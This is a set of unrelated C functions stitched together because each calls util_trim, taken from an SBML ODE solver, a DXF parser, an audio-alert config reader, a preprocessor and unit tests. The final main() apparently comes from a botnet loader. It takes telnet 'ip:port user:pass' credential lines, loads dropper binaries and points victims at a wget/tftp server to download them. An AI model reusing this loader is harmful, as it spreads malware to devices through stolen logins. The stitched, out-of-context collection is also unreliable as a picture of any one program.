static integratorInstance_t *callIntegrator(odeModel_t *om, cvodeSettings_t *set) { char *tout; char *nout; double time; int printstep; integratorInstance_t *ii; printf("Please enter end time in seconds: "); tout = get_line(stdin); tout = util_trim(tout); printf("... and the number of output times: "); nout = get_line(stdin); nout = util_trim(nout); if ( !(time = (float) floor(atof(tout))) || !(printstep = (int) atof(nout)) ) { printf("\nEntered outtime %s or number of output times %s\n", tout, nout); printf("could not be converted to a number. Try again, please!\n"); } else { CvodeSettings_setTime(set, time, printstep); CvodeSettings_dump(set); ii = IntegratorInstance_create(om, set); integrator(ii, 1, 0, stdout); SolverError_dumpAndClearErrors(); return (ii); } return NULL; }
static void parms_getconfigname(config_parms_t *parms,int argc, char *argv[]){ /* In this function we are ONLY looking for a override config file. * Other options on the command line override the ones in config. * Have to do this old fashion way since getopt clears the array. */ int option_len, indx; char *option_cd, *option_chk; option_cd=malloc(MAX_LINE); option_chk=malloc(MAX_LINE); for (indx = 1; indx < argc ; indx++) { snprintf(option_cd, MAX_LINE, "%s",argv[indx]); option_len = strlen(option_cd); if (option_len > 2) { util_substr(option_chk, option_cd, 1, 2); if (strcmp(option_chk,"-c") == 0) { util_substr(parms->configfile, option_cd, 3, option_len-3); util_trim(parms->configfile); } } } free(option_cd); free(option_chk); }
/** Parses a single data item from a DXF stream. @param dxf DXF state structure. @param fp Open stream. @param value Character buffer at least (DXF_MAX_LINE_LENGTH+1) bytes. On success, contains the parsed value. @param id If 1, item expected to be an id, therefore all digits. If 0, expected to be regular value, therefore any ASCII. @returns 1 on success, 0 on error. */ static int dxf_parse_item(dxf_t *dxf, FILE *fp, char *value, int id) { char line[DXF_MAX_LINE_LENGTH * 2]; /* Line read buffer */ int i; /* Iterator */ int len; /* Temp length */ int line_len = 0; /* Line length */ /* Read a line from the stream */ if(fgets(line, (int)sizeof(line), fp) == NULL) { /* Error */ if(feof(fp) != 0) { SET_ERROR(dxf, dxfErrorEOF); } else { SET_ERRNO_ERROR(dxf, dxfErrorFgets); } return 0; } /* Keep track of current line number */ dxf->line++; /* Trim leading/trailing whitespace */ util_trim(line); /* Loop over each character */ len = (int)strlen(line); for(i = 0; i < len; i++) { /* Keep track of the current column */ dxf->column = i; /* No value length may exceed max and all chars must be ASCII */ if(i == DXF_MAX_LINE_LENGTH) { SET_ERROR(dxf, dxfErrorLineTooLong); return 0; } else if(isascii((int)line[i]) == 0) { SET_ERROR(dxf, dxfErrorNonASCII); return 0; } /* If id, must be all digits */ if((id == 1) && (isdigit(line[i]) == 0)) { SET_ERROR(dxf, dxfErrorDigitExpected); return 0; } /* Save the character and continue */ value[line_len++] = line[i]; } /* Terminate the value */ value[line_len] = '\0'; return 1; }
END_TEST START_TEST (test_util_accessWithNULL) { fail_unless ( util_bsearchStringsI(NULL, NULL, 0, 0) == 1 ); fail_unless ( util_file_exists(NULL) == 0 ); util_free(NULL); fail_unless ( util_trim(NULL) == NULL ); fail_unless ( util_trim_in_place(NULL) == NULL ); fail_unless ( safe_fopen(NULL, NULL) == NULL ); fail_unless ( safe_strcat(NULL, NULL) == NULL ); fail_unless ( safe_strdup(NULL) == NULL ); }
/* set a new output format for graph drawing with graphviz. */ static void setFormat(void) { char *format; while(1){ printf("Please enter a new output format for graph drawing, \n"); printf("or press enter to keep current setting (%s): ", Opt.GvFormat); format = get_line(stdin); format = util_trim(format); if ( (strlen(format)) == 0 ) { free(format); return; } else { sprintf(Opt.GvFormat, "%s", format); free(format); return; } } }
/* force to load an SBML file */ static SBMLDocument_t *loadFile() { char *filename; SBMLDocument_t *d; while(1){ printf("Please enter a filename: "); filename = get_line(stdin); filename = util_trim(filename); if ( (strlen(filename)) == 0 ) { printf("No filename found.\n\n"); } else { if ( (d = parseModelWithArguments(filename)) == 0 ) { if ( Opt.Validate ) SolverError_error( WARNING_ERROR_TYPE, SOLVER_ERROR_MAKE_SURE_SCHEMA_IS_ON_PATH, "Please make sure that path >%s< contains" "the correct SBML schema for validation." "Or try running without validation.", Opt.SchemaPath); SolverError_error( ERROR_ERROR_TYPE, SOLVER_ERROR_CANNOT_PARSE_MODEL, "Can't parse Model >%s<", filename); SolverError_dumpAndClearErrors(); } else { printf("SBML file %s successfully loaded.\n", filename); return d; } } free(filename); } return NULL; }
void interactive() { char *sbmlFilename; char *select; int quit; SBMLDocument_t *d = NULL; Model_t *m = NULL; odeModel_t *om = NULL; cvodeData_t * data = NULL; integratorInstance_t *ii = NULL; cvodeSettings_t *set = NULL; printf("\n\nWelcome to the simple SBML ODE solver.\n"); printf("You have entered the interactive mode.\n"); printf("All other commandline options have been ignored.\n"); printf("Have fun!\n\n"); initializeOptions(); /* reset steady state */ Opt.SteadyState = 0; /* activate printing of results to XMGrace */ Opt.Xmgrace = 1; /* activate printing integrator messages */ Opt.PrintMessage = 1; /* deactivate on the fly printing of results */ Opt.PrintOnTheFly = 0; sbmlFilename = concat(Opt.ModelPath, Opt.ModelFile); if ( (d = parseModelWithArguments(sbmlFilename)) == 0 ) { Warn(stderr, "%s:%d interactive(): Can't parse Model >%s<", __FILE__, __LINE__, sbmlFilename); d = loadFile(); } /* load models and default settings */ m = SBMLDocument_getModel(d); om = ODEModel_create(m); set = CvodeSettings_create(); SolverError_dumpAndClearErrors(); quit = 0; data = NULL; while ( quit == 0 ) { printf("\n"); printf("Press (h) for instructions or (q) to quit.\n"); printf("> "); select = get_line( stdin ); select = util_trim(select); printf("\n"); if( strcmp(select,"l") == 0 ) { /* free all existing structures */ if ( om != NULL ) ODEModel_free(data->model); if ( d != NULL ) SBMLDocument_free(d); if ( ii != NULL ) IntegratorInstance_free(ii); /* load a new file */ d = loadFile(); /* load new models */ m = SBMLDocument_getModel(d); om = ODEModel_create(m); SolverError_dumpAndClearErrors(); } if(strcmp(select,"h")==0) printMenu(); if(strcmp(select,"s")==0) printModel(m, stdout); if(strcmp(select,"c")==0) printSpecies(m, stdout); if(strcmp(select,"r")==0) printReactions(m, stdout); if(strcmp(select,"o")==0) printODEs(om, stdout); /* integrate interface functions, asks for time and printsteps */ if(strcmp(select,"i")==0){ ii = callIntegrator(om, set); SolverError_dumpAndClearErrors(); } if(strcmp(select,"x")==0){ if ( Opt.Xmgrace == 1 ) { Opt.Xmgrace = 0; printf(" Printing results to stdout\n"); } else if ( Opt.Xmgrace == 0 ) { Opt.Xmgrace = 1; printf(" Printing results to XMGrace\n"); } } if(strcmp(select,"st")==0) printConcentrationTimeCourse(ii->data, stdout); if(strcmp(select,"jt")==0) printJacobianTimeCourse(ii->data, stdout); if(strcmp(select,"ot")==0) printOdeTimeCourse(ii->data, stdout); if(strcmp(select,"rt")==0) printReactionTimeCourse(ii->data, m, stdout); if(strcmp(select,"xp")==0) printPhase(ii->data); if(strcmp(select,"set")==0) setValues(m); if(strcmp(select,"ss")==0){ if ( Opt.SteadyState == 1 ) { Opt.SteadyState = 0; printf(" Not checking for steady states during integration.\n"); } else if ( Opt.SteadyState == 0 ) { Opt.SteadyState = 1; printf(" Checking for steady states during integration.\n"); } } if(strcmp(select,"uj")==0){ if ( Opt.Jacobian == 1 ) { Opt.Jacobian = 0; printf(" Using CVODE's internal approximation\n"); printf(" of the jacobian matrix for integration\n"); } else if ( Opt.Jacobian == 0 ) { Opt.Jacobian = 1; printf(" Using automatically generated\n"); printf(" jacobian matrix for integration\n"); } } if(strcmp(select,"gf")==0) setFormat(); if(strcmp(select,"rg")==0) { drawModel(m, sbmlFilename, Opt.GvFormat); SolverError_dumpAndClearErrors(); } if(strcmp(select,"jg")==0){ if ( ii == NULL ) { data = CvodeData_create(om); CvodeData_initialize(data, set, om, 0); drawJacoby(data, sbmlFilename, Opt.GvFormat); SolverError_dumpAndClearErrors(); CvodeData_free(data); } else { drawJacoby(ii->data, sbmlFilename, Opt.GvFormat); SolverError_dumpAndClearErrors(); } } if(strcmp(select,"j")==0) { if ( om->jacob == NULL ) ODEModel_constructJacobian(om); printJacobian(om, stdout); } if(strcmp(select,"q")==0) quit = 1; } if ( ii != NULL ) IntegratorInstance_free(ii); if ( om != NULL ) ODEModel_free(om); SBMLDocument_free(d); SolverError_dumpAndClearErrors(); printf("\n\nGood Bye. Thx for using.\n\n"); }
/* setValues: the user can enter a species name and change its initial condition (amount or concentration) */ static void setValues(Model_t *m) { char *species; char *newIA; char *newIC; Species_t *s; printf("Please enter the id of the species to change: "); species = get_line(stdin); species = util_trim(species); if ( (s = Model_getSpeciesById(m,species) ) ) { printf("\n"); printf("Id: %s\n", Species_getId(s)); if ( Species_isSetName(s) ) { printf("Name: %s\n", Species_getName(s)); } if ( Species_isSetInitialAmount(s) ) { printf("Initial Amount: %g", Species_getInitialAmount(s)); } else if (Species_isSetInitialConcentration(s) ) { printf("Initial Concentration: %g", Species_getInitialConcentration(s)); } if ( Species_getHasOnlySubstanceUnits(s) ) { if ( Species_isSetSubstanceUnits(s) ) { printf("%s ", Species_getSubstanceUnits(s)); } } else { if ( Species_isSetSubstanceUnits(s) ) { printf("%s ", Species_getSubstanceUnits(s)); } if ( Species_isSetSpatialSizeUnits(s) ) { printf("%s%s", "/", Species_getSpatialSizeUnits(s)); } } if ( Species_getHasOnlySubstanceUnits(s) ) { printf(" (has only substance units)"); } printf("\n"); if ( Species_isSetCharge(s) ) { printf("Charge: %-10d", Species_getCharge(s)); } printf("\n"); printf("%s ", Species_getBoundaryCondition(s) ? "Species is a Boundary\n" : "\n"); printf("%s ", Species_getConstant(s) ? "Species is set constant" : "\n"); printf("\n"); if ( Species_isSetInitialAmount(s) ) { printf("Please enter new initial Amount: "); newIA = get_line(stdin); newIA = util_trim(newIA); Species_setInitialAmount(s, (float) atof(newIA)); } else if ( Species_isSetInitialConcentration(s) ) { printf("Please enter new initial Concentration: "); newIC = get_line(stdin); newIC = util_trim(newIC); Species_setInitialConcentration(s, (float) atof(newIC)); } } else { printf("%s not found.\n", species); } }
END_TEST START_TEST (test_util_trim) { char *p, *q, *r, *s, *t, *u, *v, *w, *x, *y, *z; fail_unless( !strcmp( p = util_trim("p" ), "p") ); fail_unless( !strcmp( q = util_trim("q " ), "q") ); fail_unless( !strcmp( r = util_trim(" r" ), "r") ); fail_unless( !strcmp( s = util_trim(" s "), "s") ); fail_unless( !strcmp( t = util_trim("foo" ), "foo") ); fail_unless( !strcmp( u = util_trim("foo " ), "foo") ); fail_unless( !strcmp( v = util_trim(" bar" ), "bar") ); fail_unless( !strcmp( w = util_trim(" bar "), "bar") ); fail_unless( !strcmp( x = util_trim(" foo bar " ), "foo bar") ); fail_unless( !strcmp( y = util_trim(" "), "") ); fail_unless( !strcmp( z = util_trim("" ), "") ); fail_unless( util_trim((char *) NULL) == NULL ); safe_free(p); safe_free(q); safe_free(r); safe_free(s); safe_free(t); safe_free(u); safe_free(v); safe_free(w); safe_free(x); safe_free(y); safe_free(z); }
static int pre_recursive_process(FILE * input, char * current_file) { /* TODO: self-include. */ FILE *include; FILE *file_arch; FILE *file_code1; char buffer[1024]; char *temp; char *include_name; int flag;//0:adl, 1:ccode int result; int fid; int line; file_arch = config_get_file(CONFIG_FILE_ID_ARCH); if(file_arch == NULL){ return -1; } file_code1 = config_get_file(CONFIG_FILE_ID_CODE1); if(file_code1 == NULL){ return -1; } line = 1; flag = 0; // split into two parts. fid = line_register_file(current_file); if(fid == 0){ return 0; } while (fgets(buffer, 1023, input)) { if(flag == 0){ temp = strchr(buffer, '#'); if(temp){ temp[0] = '\n'; temp[1] = '\0'; } } temp = util_trim_front(buffer); if (flag == 0 && temp[0] == '@') { // include include_name = util_trim(temp + 1); include = fopen(include_name, "r"); if (include == NULL) { common_error("Cannot open include file [%s].\n", temp); result = -1; }else{ result = pre_recursive_process(include, include_name); fclose(include); include = NULL; } if (result) { return result; } else { line ++; continue; } } else if (strncmp(temp, "%%", 2) == 0) { if (flag) { fputs(buffer, file_code1); fputs("\n", file_arch); } else { fputs(buffer, file_arch); } flag = (~flag); } else { if (flag) { fputs(buffer, file_code1); fputs("\n", file_arch); } else { fputs(buffer, file_arch); } } line_register_line(fid, line); line ++; } return 0; }
void printPhase(cvodeData_t *data) { #if !USE_GRACE fprintf(stderr, "odeSolver has been compiled without XMGRACE functionality.\n"); fprintf(stderr, "Phase diagrams can only be printed to XMGrace at the moment.\n"); #else int i,j; double maxY; double minY; double maxX; char *x; double xvalue; char *y; double yvalue; cvodeResults_t *results; maxY = 1.0; maxX = 1.0; minY = 0.0; if ( data==NULL || data->results==NULL ) { Warn(stderr, "No data available to print! Please integrate model first!\n"); return; } results = data->results; if ( openXMGrace(data) > 0 ) { fprintf(stderr, "Error: Couldn't open XMGrace\n"); return; } GracePrintf("world xmax %g", 1.25*maxX); GracePrintf("world ymax %g", 1.25*maxY); GracePrintf("xaxis tick major %g", (1.25*maxX)/12.5); /* GracePrintf("xaxis tick minor %d", (int) data->currenttime/100); */ GracePrintf("yaxis tick major %g", (1.25*maxY)/12.5 ); if ( Model_isSetName(data->model->m) ) GracePrintf("subtitle \"%s, %s\"", Model_getName(data->model->m), "phase diagram"); else if ( Model_isSetId(data->model->m) ) GracePrintf("subtitle \"%s, %s\"", Model_getId(data->model->m), "phase diagram"); else GracePrintf("subtitle \"model has no name, %s/id\"", "phase diagram"); GracePrintf("xaxis label \"species 1\""); GracePrintf("yaxis label \"species 2\""); printf("Please enter the IDs and NOT the NAMES of species!\n"); printf("In interactive mode press 'c' to see ID/NAME pairs.\n\n"); printf("Please enter the ID of the species for the x axis: "); x = get_line(stdin); x = util_trim(x); GracePrintf("xaxis label \"%s\"", x); GracePrintf("redraw"); printf("Please enter the ID of the species for the y axis: "); y = get_line(stdin); y = util_trim(y); GracePrintf("yaxis label \"%s\"", y); GracePrintf("redraw"); /* check if species exist */ xvalue = 1; yvalue = 1; for ( j=0; j<data->model->neq; j++ ) { if ( !strcmp(x, data->model->names[j]) ) { xvalue = 0; GracePrintf("xaxis label \"%s\"", data->model->names[j]); } if ( !strcmp(y, data->model->names[j]) ) { yvalue = 0; GracePrintf("yaxis label \"%s\"", data->model->names[j]); } } if ( xvalue || yvalue ) { fprintf(stderr, "One of the entered species does not exist.\n"); GraceClose(); fprintf(stderr, "XMGrace subprocess closed. Please try again"); free(x); free(y); return; } fprintf(stderr, "Printing phase diagram to XMGrace!\n"); for ( i=0; i<=results->nout; ++i ) { for ( j=0; j<data->model->neq; j++ ){ if ( !strcmp(x, data->model->names[j]) ) { xvalue = results->value[j][i]; } if ( !strcmp(y, data->model->names[j]) ) { yvalue = results->value[j][i]; } } GracePrintf("g0.s1 point %g, %g", xvalue, yvalue); if ( yvalue > maxY ) { maxY = 1.25*yvalue; GracePrintf("world ymax %g", maxY); GracePrintf("yaxis tick major %g", maxY/10); } if ( xvalue > maxX ) { maxX = 1.25*xvalue; GracePrintf("world xmax %g", maxX); GracePrintf("xaxis tick major %g", maxX/10); } /* redrawing on each 10th step gives an impression, how fast the two values change within the phase diagram. */ if ( i%10 == 0 ) { GracePrintf("redraw"); } } GracePrintf("redraw"); closeXMGrace(data, "phase"); free(x); free(y); #endif return; }
static int parms_configfile(config_parms_t *parms) { /* The config file is specified in parms * The function getconfig file is run before this * this one and populates the parms with anything * specified on the command line. * * Any options in the config file override the defaults */ char *equals_loc; char *config_line, *option_prefix; char *option_cd, *option_val; int option_len; FILE *file_handle; file_handle = fopen(parms->configfile, "rb"); if (!file_handle) { file_handle = fopen("freqalert.conf", "rb"); if (file_handle) { printf("Using freqalert.conf from current directory\n"); } else { printf("error opening configfile %s\n", parms->configfile); return -1; } } else { printf("Using conf from %s\n",parms->configfile); } config_line = malloc(MAX_LINE); option_cd = malloc(MAX_LINE); option_prefix = malloc(MAX_LINE); option_val = malloc(MAX_LINE); while (fgets(config_line,MAX_LINE,file_handle) != NULL) { if (config_line[0] == '#') { continue; } equals_loc = strchr(config_line, '='); /*Find the = in the line */ if (equals_loc == NULL){ printf("invalid option. No equals sign >%s< \n",config_line); continue; } option_len =strlen(config_line) - strlen(equals_loc) ; util_substr(option_cd, config_line, 1, option_len); util_trim(option_cd); util_trim(equals_loc); util_substr(option_val, equals_loc, 2, strlen(equals_loc)); util_trim(option_val); if (strlen(option_val)>0) { if (strcmp(option_cd, "volume_triggers") == 0){ parms->volume_triggers = atoi(option_val); } if (strcmp(option_cd, "device") == 0){ snprintf(parms->device,MAX_LINE,"%s",option_val); } if (strcmp(option_cd, "verbosity") == 0){ parms->verbosity = atoi(option_val); } if (strcmp(option_cd, "sample_rate") == 0){ parms->sample_rate= atoi(option_val); } if (strcmp(option_cd, "channels") == 0){ parms->channels = atoi(option_val); } if (strcmp(option_cd, "frames_per_buffer") == 0){ parms->frames_per_buffer = atoi(option_val); } if (strncmp(option_cd,"alert",5) == 0){ parms_addalertinfo(parms, option_cd, option_val); } } } fclose(file_handle); free(config_line); free(option_cd); free(option_prefix); free(option_val); return 0; }
static void parms_addalertinfo(config_parms_t *parms,char *option_cd,char *option_val) { char *alert_prefix, *alert_nbr,*alert_item; char *underscore_loc; int option_len, indx; alert_prefix=malloc(MAX_LINE); alert_nbr=malloc(MAX_LINE); alert_item=malloc(MAX_LINE); option_len=0; underscore_loc = strchr(option_cd,'_'); if (underscore_loc != NULL) { /* alert_00_freq_low */ option_len = strlen(option_cd) - strlen(underscore_loc); util_substr(alert_prefix, option_cd, 1, option_len); util_trim(alert_prefix); /* Trim off the prefix and get next part of parameter */ util_substr(option_cd, underscore_loc, 2, strlen(underscore_loc)); underscore_loc = strchr(option_cd,'_'); if (underscore_loc != NULL) { /* 00_freq_low */ option_len = strlen(option_cd) - strlen(underscore_loc) ; util_substr(alert_nbr, option_cd, 1, option_len); util_trim(alert_nbr); indx = atoi(alert_nbr); if (indx < MAX_N_ALERTS ) { /* Trim off the nbr and see what we have left */ util_substr(alert_item, underscore_loc, 2, strlen(underscore_loc)- 1); if (strcmp(alert_item, "freq_low") == 0){ parms->alert_info[indx].freq_low = atof(option_val); } if (strcmp(alert_item, "freq_high") == 0){ parms->alert_info[indx].freq_high = atof(option_val); } if (strcmp(alert_item, "duration") == 0){ parms->alert_info[indx].freq_duration = atoi(option_val); } if (strcmp(alert_item, "volume_level") == 0){ parms->alert_info[indx].alert_volume_level = atoi(option_val); } if (strcmp(alert_item, "command") == 0){ snprintf(parms->alert_info[indx].alert_event_cmd ,MAX_LINE,"%s",option_val); } } } } free(alert_prefix); free(alert_nbr); free(alert_item); }
int main(int argc, char **args) { pthread_t stats_thrd; uint8_t addrs_len; ipv4_t *addrs; uint32_t total = 0; struct telnet_info info; #ifdef DEBUG addrs_len = 1; addrs = calloc(4, sizeof (ipv4_t)); addrs[0] = inet_addr("0.0.0.0"); #else addrs_len = 2; addrs = calloc(addrs_len, sizeof (ipv4_t)); addrs[0] = inet_addr("192.168.0.1"); // Address to bind to addrs[1] = inet_addr("192.168.1.1"); // Address to bind to #endif if (argc == 2) { id_tag = args[1]; } if (!binary_init()) { printf("Failed to load bins/dlr.* as dropper\n"); return 1; } /* wget address tftp address */ if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) { printf("Failed to initialize server. Aborting\n"); return 1; } pthread_create(&stats_thrd, NULL, stats_thread, NULL); // Read from stdin while (TRUE) { char strbuf[1024]; if (fgets(strbuf, sizeof (strbuf), stdin) == NULL) break; util_trim(strbuf); if (strlen(strbuf) == 0) { usleep(10000); continue; } memset(&info, 0, sizeof(struct telnet_info)); if (telnet_info_parse(strbuf, &info) == NULL) printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf); else { if (srv == NULL) printf("srv == NULL 2\n"); server_queue_telnet(srv, &info); if (total++ % 1000 == 0) sleep(1); } ATOMIC_INC(&srv->total_input); } printf("Hit end of input.\n"); while(ATOMIC_GET(&srv->curr_open) > 0) sleep(1); return 0; }